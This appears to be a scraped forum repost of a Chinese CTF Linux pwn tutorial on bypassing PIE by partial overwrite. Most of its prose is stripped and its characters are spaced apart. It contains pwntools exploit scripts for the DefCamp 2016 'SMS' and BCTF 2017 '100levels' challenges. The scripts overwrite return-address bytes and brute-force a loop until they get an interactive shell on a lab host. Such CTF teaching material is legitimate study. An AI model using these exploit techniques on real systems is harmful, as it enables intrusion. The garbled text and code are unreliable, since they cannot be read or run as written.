[19517] 2019-08-13_CTF必备技能丨LinuxPwn入门教程——PIE与bypass思路

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2019-08-13_CTF必备技能丨LinuxPwn入门教程——PIE与bypass思路 C T F L i n u x   P w n P I E b y p a s s i   2 0 1 9 - 0 8 - 1 3 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n i L i n u x   P w n P I E b y p a s s 2 0 0 1 P I E A S L R l i b c A S L R 广 A S L R R O P l e a k b s s P I E ( p o s i t i o n - i n d e p e n d e n t   e x e c u t a b l e ,   ) . t e x t ,   . * d a t a . b s s A S L R P I E 使 g a d g e t
P I E 6 4 0 x 4 0 0 0 0 0 使 P I E P I E R O P b y p a s s   P I E 0 2 p a r t i a l   w r i t e   b y p a s s P I E p a r t i a l   w r i t e ( ) P I E b y p a s s P I E
0 x 1 0 0 0 1 2 3 E I P 8 1 6   ( 8 ) E I P ~ / D e f C a m p   C T F   F i n a l s   2 0 1 6 - S M S / S M S 6 4 d o s m s (   ) s e t _ u s e r s e t _ s m s s e t _ u s e r 1 2 8 u s e r n a m e s e t _ s m s s t r n c p y a 1 + 1 8 0 u s e r n a m e a 1 + 1 4 0 s t r n c p y f r o n t d o o r 使 P I E f r o n t d o o r f r o n t d o o r (   )
f r o n t d o o r 0 x 9 0 0 p a y l o a d 0 x 9 0 0 0 ~ 0 x f p a d d i n g p a y l o a d 0 x 9 0 0 0 x 9 0 1 f r o n t d o o r p a y l o a d I D A p a y l o a d p a y l o a d   =   ' a ' * 4 0                                                                                 # p a d d i n g p a y l o a d   + =   ' x c a '                                                                                 # 2 0 2 p a y l o a d s t r n c p y 使 i o . s e n d l i n e ( p a y l o a d ) i o . r e c v ( ) p a y l o a d   =   ' a ' * 2 0 0                                                                                 # p a d d i n g p a y l o a d   + =   ' x 0 1 x a 9 '                                                                 # f r o n t d o o r 0 x 9 0 0 ,   + 1 p u s h   r b p i o . s e n d l i n e ( p a y l o a d )
i o i o . r e c v (   ) E O F E r r o r 使 p y t h o n t r y . . . e x c e p t . . .
0 3 b y p a s s P I E P I E l i b c # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ) i   =   0 w h i l e   T r u e :                 i   + =   1                 p r i n t   i                 i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 3 " ,   1 0 0 0 1 )                                 i o . r e c v ( )                 p a y l o a d   =   ' a ' * 4 0                                                                                 # p a d d i n g                 p a y l o a d   + =   ' x c a '                                                                                 # 2 0 2 p a y l o a d s t r n c p y 使                 i o . s e n d l i n e ( p a y l o a d )                 i o . r e c v ( )                 p a y l o a d   =   ' a ' * 2 0 0                                                                                 # p a d d i n g                 p a y l o a d   + =   ' x 0 1 x a 9 '                                                                 # f r o n t d o o r 0 x 9 0 0 ,   + 1 p u s h   r b p                 i o . s e n d l i n e ( p a y l o a d )                 i o . r e c v ( )                 t r y :                                 i o . r e c v ( t i m e o u t   =   1 )                                                 # i o i o . r e c v ( ) E O F E r r o r                 e x c e p t   E O F E r r o r :                                 i o . c l o s e ( )                                 c o n t i n u e                 e l s e :                                 s l e e p ( 0 . 1 )                                 i o . s e n d l i n e ( ' / b i n / s h x 0 0 ' )                                 s l e e p ( 0 . 1 )                                                                                                                                 i o . i n t e r a c t i v e ( )                                                                 # E O F E r r o r s h e l l                                 b r e a k
~ / B C T F   2 0 1 7 - 1 0 0 l e v e l s / 1 0 0 l e v e l s 6 4 0 x e 4 3 q u e s t i o n r e a d 0 x 4 0 0 b u f 使 P I E s y s t e m 使 p a r t i a l   w r i t e R I P l i b c
l e a k q u e s t i o n s 西 p r i n t f r b p p a r t i a l   o v e r w r i t e R B P l i b c o n e   g a d g e t   R C E 使 R B P 0 x 5 c [ r b p + v a r _ 3 4 ]   =   0 x 5 c - 0 x 3 4 = 0 x 2 8 l i b c   i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) i o . r e c v u n t i l ( " C h o i c e : " ) i o . s e n d ( ' 1 ' ) i o . r e c v u n t i l ( ' ? ' ) i o . s e n d ( ' 2 ' ) i o . r e c v u n t i l ( ' ? ' ) i o . s e n d ( ' 0 ' ) i o . r e c v u n t i l ( " Q u e s t i o n :   " ) q u e s t i o n   =   i o . r e c v u n t i l ( " = " ) [ : - 1 ] a n s w e r   =   s t r ( e v a l ( q u e s t i o n ) ) p a y l o a d   =   a n s w e r . l j u s t ( 0 x 3 0 ,   ' x 0 0 ' )   +   ' x 5 c ' i o . s e n d ( p a y l o a d ) i o . r e c v u n t i l ( " L e v e l   " ) a d d r _ l 8   =   i n t ( i o . r e c v u n t i l ( " Q u e s t i o n :   " ) [ : - 1 0 ] )
s t a r t
[ r b p + v a r _ 3 4 ] 0 i d i v
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则